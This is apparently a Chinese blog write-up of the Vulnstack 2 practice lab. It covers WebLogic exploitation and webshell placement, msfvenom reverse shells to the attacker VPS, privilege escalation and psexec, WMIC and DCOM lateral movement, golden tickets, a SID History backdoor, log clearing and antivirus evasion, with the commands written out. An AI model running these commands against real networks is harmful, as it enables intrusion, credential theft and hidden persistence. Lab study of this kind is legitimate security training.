内网渗透靶场 Vulnstack(二)

这次靶场东拼西凑也算是通关了,重新复习了一下,也学到了很多东西,在这简单梳理一下思路

内网环境介绍

域控服务器:

•内网IP:10.10.10.10 •系统:Windows Server 2012(64位) •用户名:de1ay

WEB服务器:

•模拟外网IP:192.168.178.153 •内网IP:10.10.10.80 •系统:Windows Server 2008(64位)

PC域内主机:

•内网IP:10.10.10.201 •系统:Windows 7(32位)

攻击者VPS:

•模拟外网IP:192.168.178.100 •系统:Linux

Web服务器有两个网卡,一个网卡连接外网,对外提供web服务,另一个网卡连接内网。域成员主机Windows 7和域控制器位于内网,域成员主机可以没有公网IP但能上网,域控制器只能与内网连通,不能与外网通信。

靶场环境搭建

搭建教程:具体过程
我的环境:
内网渗透靶场 Vulnstack(二)_第1张图片内网渗透靶场 Vulnstack(二)_第2张图片内网渗透靶场 Vulnstack(二)_第3张图片web和pc端ip设置为自动获取即可
内网渗透靶场 Vulnstack(二)_第4张图片
域控DC的ip设置如下
内网渗透靶场 Vulnstack(二)_第5张图片

设置好ip后,尝试在三台机器中互相ping一下,如果都可以ping通,且web端可以访问外网,即为设置成功。

在web端开启WebLogic服务后,即可开始渗透,路径:C:\Oracle\Middleware\user_projects\domains\base_domain

web外网渗透

信息搜集

kali使用arp扫描,153是web端
内网渗透靶场 Vulnstack(二)_第6张图片用nmap扫一下,发现web端开启了7001端口,进入网站可以看到

内网渗透靶场 Vulnstack(二)_第7张图片可以看到很多熟悉的端口:
445:常见的ms17-010漏洞
3389:知道密码后可以远程连接电脑
7001:weblogic服务端口
内网渗透靶场 Vulnstack(二)_第8张图片使用weblogic漏洞利用工具扫描,发现存在漏洞CVE_2020_2551
内网渗透靶场 Vulnstack(二)_第9张图片

漏洞利用(绕过360,反弹shell)

便可以利用该工具上传shell脚本,查阅资料,可以知道上传的位置有三处:

第一处:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\uddiexplorer\随机字符\war\shell.jsp
连接方式:访问 http://...:7001/uddiexplorer/shell.jsp

第二处:\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp_WL_user\项目名\随机字符\war\shell.jsp
连接方式:访问 http://...:7001/项目名/shell.jsp

第三处:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
连接方式: http://...:7001/console/framework/skins/wlsconsole/images/shell.jsp

这里利用第三种:
内网渗透靶场 Vulnstack(二)_第10张图片
为了执行更多的命令,尝试反弹shell,这里用了很多种方法,尝试过免杀powershell,上传msf生成的反弹shell文件(免杀研究的不深,只会使用一些工具,能静态过火绒和360)并执行,以及其他反弹shell的办法,都被360拦截了,查阅资料知道360拦截了不明的数据包,所以一直失败。

唯一成功的办法是,利用冰蝎的反弹shell功能(哥斯拉也行,不过没去试)
内网渗透靶场 Vulnstack(二)_第11张图片

web服务器提权(msf提权失败,cs提权成功)

内网渗透靶场 Vulnstack(二)_第12张图片这里想要提升一下权限:
用Windows-Exploit-Suggester-master查看一下可以使用拿些漏洞提权
内网渗透靶场 Vulnstack(二)_第13张图片想用075试试,失败了
内网渗透靶场 Vulnstack(二)_第14张图片在网上查了资料发现需要提前注入进程,退回meterpreter
内网渗透靶场 Vulnstack(二)_第15张图片尝试注入,均失败
在这里插入图片描述网上的解释是:解释
大多数人都是用的是Metasploit Framework,而恰好这个版本的Java meterpreter没有直接授予升级的getsystem命令,它运行在沙箱中。其它不能用的命令也基本类似,就暂且放弃了,转战CS

设置好监听器,注意payload是:windows/beacon_https/reverse_https
反弹后即可上线
内网渗透靶场 Vulnstack(二)_第16张图片在这里插入图片描述查看进程,选一个权限一致的注入即可

beacon> inject 1912 x64 vulnstack2 -1
[*] Tasked beacon to inject windows/beacon_https/reverse_https (192.168.178.100:443) into 1912 (x64)

内网渗透靶场 Vulnstack(二)_第17张图片上线后即可提权,我这里用的是ms14-058,提权了两次都成功了,成功绕过了360, 拿下了web主机
内网渗透靶场 Vulnstack(二)_第18张图片ps:但是这里提权后的应用程序不能长时间存在,过了一段时间后,就会被360查杀

web权限维持

尝试添加新用户,msf被拦截,cs可以添加
在这里插入图片描述内网渗透靶场 Vulnstack(二)_第19张图片尝试远程登陆web服务器,被360拦截了,等不进去,放弃
内网渗透靶场 Vulnstack(二)_第20张图片

内网渗透

信息搜集

信息收集的一些命令:

 net user                 查看本机用户列表
 net user /domain         查看域用户
 net localgroup administrators   查看本地管理员组(通常会有域用户)
 net view /domain         查看有几个域
 net user 用户名 /domain   获取指定域用户的信息
 net group /domain        查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
 net group 组名 /domain    查看域中某工作组
 net group "domain admins" /domain  查看域管理员的名字
 net group "domain computers" /domain  查看域中的其他主机名
 net group "doamin controllers" /domain  查看域控制器(可能有多台)

利用进行CS信息搜集

在这里推荐几个CS很好的插件:梼杌(地址)ladon(地址)

接下来开始内网遨游,先搜集一下信息

  • 查找域内用户

内网渗透靶场 Vulnstack(二)_第21张图片

  • 查找域管理员
    内网渗透靶场 Vulnstack(二)_第22张图片
  • 锁定域控DC:

内网渗透靶场 Vulnstack(二)_第23张图片

  • 再看看其他信息

内网渗透靶场 Vulnstack(二)_第24张图片内网渗透靶场 Vulnstack(二)_第25张图片内网渗透靶场 Vulnstack(二)_第26张图片
mimikatz得到可以得到密码
发现内网还存在两台机器,PC 10.10.10.80和DC 10.10.10.10
内网渗透靶场 Vulnstack(二)_第27张图片
最后可以得到确定

该靶场为域环境:de1ay.com 该靶场存在三台主机:DC、PC、WEB
该靶场存在两个网段:10.10.10.0/24,192.168.111.0/24
该靶场的域管理员为:Administrator
PC开启了3389端口,同样远程被360锁住了,三台域内机器都开启了445端口,可以用永恒之蓝打一下,这里没有再去尝试

补充:这里机器使用的是kerberos协议,域是DE1AY.com
内网渗透靶场 Vulnstack(二)_第28张图片

代理设置

cs代理传给msf

这里可以直接使用cs,无需设置代理,或者将cs的代理转给msf,在msf进行后续操作,也试过其他的比如chisel,ew在kali里面都没办法代理成功
参考:网站
内网渗透靶场 Vulnstack(二)_第29张图片在msf中设置路由:

route add 10.10.10.0 255.255.255.0 1

CS设置代理后,在msf中复制执行,即可挂上CS的代理,在msf中对域内机器进行扫描

setg Proxies socks4:192.168.178.100:6747

设置一下kali内的代理,填入之前的代理端口
内网渗透靶场 Vulnstack(二)_第30张图片然后就可以利用代理命令查看一些信息,不过之前也已经知道了的

proxychains4 nmap -F -sT -Pn 10.10.10.1/24

在这里插入图片描述

横向移动(cs过域控,msf拿下域成员)

拿下域控DC

这里拿下域控的办法CS和msf都差不多,之前通过mimikatz拿到了密码,于是可以通过psexec(详细解释)攻击拿下域控。

psexec是windows下的一款远程命令行工具。psexec的使用不需要对方主机开启3389端口,只需要对方开启admin$共享(该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径,由于psexec是windows提供的工具,所以杀毒软件会将其添加到白名单中。

MSF

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.10
set SMBUser administrator
set SMBPass 1qaz@WSX
run

内网渗透靶场 Vulnstack(二)_第31张图片

CS

  • 建立一个新的smb监听器

内网渗透靶场 Vulnstack(二)_第32张图片

  • 在这里添加user为de1ay的凭证(de1ay是该域的通用登陆用户),利用此凭证进行psexec攻击

内网渗透靶场 Vulnstack(二)_第33张图片

  • 成功拿下域控制器

内网渗透靶场 Vulnstack(二)_第34张图片

尝试拿下域成员PC

尝试同样的办法拿下PC,应该是被360挡住了
内网渗透靶场 Vulnstack(二)_第35张图片

  • 尝试使用WMIC攻击或DOCM攻击拿下PC

msf中控制WEB主机与PC建立一个ipc$连接,再利用web主机为跳板,在PC端上传免杀木马,并远程执行

进入shell模式,在解决乱码问题:chcp 65001
内网渗透靶场 Vulnstack(二)_第36张图片先使用msf生成一个木马再简单免杀一下:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.178.100 lport=6668 -f exe >shell.exe

net use \\10.10.10.201\ipc$ "1qaz#WSX" /user:administrator

内网渗透靶场 Vulnstack(二)_第37张图片
copy到PC端

copy shell.exe \\10.10.10.201\c$

WMIC攻击

shell wmic /node:10.10.10.201 /user:de1ay /password:1qaz@WSX process call create "C:\Windows\Temp\shell.exe"

或者DCOM攻击(powershell下运行)

$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.201")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c c:\shell.exe","c:\windows\system32",$null,0)

都失败了,被360拦截,使用域控作为跳板也是一样的

  • 尝试开启远程桌面反弹shell

由于我这个版本的msf没有powershell,尝试使用远程登陆执行命令再反弹shell
在这里插入图片描述

  • 这里直接探测端口会被360拦住,使用nc探测端口

proxychains4 nc -zv 10.10.10.201 3389
-v 显示指令执行过程。
-z 使用0输入/输出模式,只在扫描通信端口时使用。

内网渗透靶场 Vulnstack(二)_第38张图片
远程登陆

proxychains4 rdesktop 10.10.10.201

和之前的一样都没办法登进去,尝试在CS上执行命令,被360拦了
后面还是没有办法,只能关掉360,然后用同样的办法,成功上线

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.10.201
set lport 7878
run

内网渗透靶场 Vulnstack(二)_第39张图片ok也算是成功拿下PC端了

权限维持

黄金票据

假设又这么一种情况,我们已拿到的域内所有的账户Hash,包括krbtgt账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务。
黄金票据是伪造票据授予票据(TGT),也被称为认证票据。如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。
(krbtgt账户:每个域控制器都有一个”krbtgt”的用户账户,是KDC的服务账户,用来创建票据授予服务 (TGS)加密的密钥。)

内网渗透靶场 Vulnstack(二)_第40张图片黄金票据的条件要求:
1.域名称
2.域的sid 值
3.域的krbtgt账户ntlm密码哈希
4.伪造用户名
一旦攻击者拥有管理员访问域控制器的权限,就可以使用Mimikatz来提取KRBTGT帐户密码哈希值。

内网渗透靶场 Vulnstack(二)_第41张图片内网渗透靶场 Vulnstack(二)_第42张图片

这里我们在域控利用mimikatz拿到了krbtgt账户的ntlm的hash值:
82dfc71b72a11ef37d663047bc2088fb
以及域名域SID:
DE1AY.com:S-1-5-21-2756371121-2868759905-3853650604-1001

开始伪造黄金票据:内网渗透靶场 Vulnstack(二)_第43张图片内网渗透靶场 Vulnstack(二)_第44张图片

  • 伪造票据成功了的:

内网渗透靶场 Vulnstack(二)_第45张图片

  • 没有伪造票据的

内网渗透靶场 Vulnstack(二)_第46张图片这里就可以使用psexec(hash传递攻击),wmi等方法通过WEB主机对DC进行远程执行命令了

SID History域后门

在Windows中,每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。
如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。
SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。
使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。

具体过程由于msf无法注入mimikatz,cs无法操作(太菜了),就引用了别的大佬的效果图:

首先我们在域控制器上新建一个恶意用户“whoami”:

net user whoami Liu78963 /add

在这里插入图片描述

然后像之前一样用shellcode_inject启动mimikatz,然后执行如下命令,将域管理员Administrator的SID添加到恶意域用户 whoami 的SID History属性中。

privilege::debug
sid::patch
sid::add /sam:whoami /new:Administrator   //将Administrator的SID添加到whoami的SID History属性中

内网渗透靶场 Vulnstack(二)_第47张图片注意:在使用mimikatz注入SID之前,需要使用 sid::patch 命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的SID History属性;mimikatz在2.1版本后,将 misc:addsid 模块添加到了 sid:add 模块下。

然后,我们可以用powershell查看一下这个whoami恶意用户的SID History:

Import-Module activedirectory
Get-ADUser whoami -Properties sidhistory
Get-ADUser administrator -Properties sidhistory

内网渗透靶场 Vulnstack(二)_第48张图片

如上图所示,whoami用户的SID History和administrator域管理员的sid相同,那么现在我们的whoami用户便拥有了administrator域管理员的权限,并可以用该用户随时登录域控主机。

痕迹清除

msf的话就是:

run event_manager -c

内网渗透靶场 Vulnstack(二)_第49张图片

再具体一点可以看这位师傅:大佬

免杀

尝试在system权限下杀掉杀软,失败了,还有一个思路是远程连接再杀掉杀软,但是等不进去,还是被360拦住了,就没啥办法

360tray.exe:360实时保护
zhudongfangyu.exe:360主动防御

内网渗透靶场 Vulnstack(二)_第50张图片
尝试过的免杀:
Invoke-Obfuscation,失败了,过不了动态
mimikatz的免杀集合,这里我试过方法10-msf加载bin,这里一些功能是msf 升级版才能用的,就没搞了
又试了其他的免杀工具,很多能过静态(360,火绒等,这里吐槽一下火绒,虽然很简洁,但是木马识别差了点,它是最好过的)
免杀工具集合:神仙网站

参考网站:

ATT&CK实战系列-红队评估 (二)
https://www.freebuf.com/articles/web/246578.html
https://www.freebuf.com/articles/network/293184.html
https://www.c0bra.xyz/2021/02/17/%E5%9F%9F%E6%B8%97%E9%80%8F-SID-History%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81%E5%8F%8A%E5%9F%9F%E4%BF%A1%E4%BB%BB%E6%94%BB%E5%87%BB/

你可能感兴趣的:(渗透靶记练习,web,安全,web安全)